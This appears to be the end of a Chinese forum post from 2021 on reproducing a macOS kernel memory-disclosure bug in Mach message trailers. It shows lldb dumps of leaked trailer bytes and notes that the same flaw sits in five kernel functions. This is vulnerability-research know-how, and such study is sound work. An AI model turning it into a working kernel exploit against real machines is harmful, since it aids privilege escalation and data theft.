(lldb) p *(mach_msg_mac_trailer_t *)0x000000010fe00cdc
(mach_msg_mac_trailer_t) $11 = {
msgh_trailer_type = 0
msgh_trailer_size = 68
msgh_seqno = 0
msgh_sender = {
val = ([0] = 501, [1] = 501)
}
msgh_audit = {
val = ([0] = 4294967295, [1] = 501, [2] = 501, [3] = 501, [4] = 501, [5] = 605, [6] = 0, [7] = 1792)
}
msgh_context = 4714839257292734464
msgh_ad = 0
msgh_labels = (sender = 0)
}
(lldb) x/32x trailer
0x10fe00cdc: 0x00000000 0x00000044 0x00000000 0x000001f5
0x10fe00cec: 0x000001f5 0xffffffff(val[0]) 0x000001f5(val[1]) 0x000001f5(val[2])
0x10fe00cfc: 0x000001f5(val[3]) 0x000001f5(val[4]) 0x0000025d(val[5]) 0x00000000(val[6])
0x10fe00d0c: 0x00000700(val[7]) 0x00000000 0x00000000 0x416e7953(msgh_ad)
0x10fe00d1c: 0x00000000(msgh_labels) 0x00000000 0xf0000000 0x00000000
现在成功泄露出内核数据
那我们如何泄露出一个有用的内核数据呢？
咱们下次再聊
关于符号的问题，我在漏洞复现结束后突发奇想，既然五个函数都有同样的问题，那么说明五个函数漏洞场景肯定是相同的，所以搜索以下这句代码
trailer->msgh_trailer_type =
妥了，五个函数都在这里了
[复制链接]
发表于 2021-1-12 11:28
